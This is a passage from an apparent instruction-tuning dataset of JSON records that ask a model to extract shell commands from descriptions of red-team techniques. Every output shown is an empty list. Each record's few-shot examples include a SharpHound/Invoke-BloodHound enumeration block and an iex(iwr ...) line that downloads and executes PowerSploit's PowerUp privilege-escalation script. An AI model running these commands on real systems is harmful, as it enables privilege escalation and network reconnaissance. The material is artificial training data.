conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip\nwas placed in the temp directory.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes an HTA Application by directly downloading from remote URI.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Gathers local system information using the Morerecon function of WinPwn", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The following Atomic test will utilize Get-AdGroup to enumerate groups within Active Directory.\nUpon successful execution a listing of groups will output with their paths in AD.\nReference: https://docs.microsoft.com/en-us/powershell/module/activedirectory/get-adgroup?view=windowsserver2022-ps\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes an MSI containing embedded JScript code using the WMI Win32_Product class\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Run a local VB script to run local user enumeration powershell command.\nThis attempts to emulate what FIN7 does with this technique which is using mshta.exe to execute VBScript to execute malicious code on victim systems.\nUpon execution, a new PowerShell windows will be opened that displays user information.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it 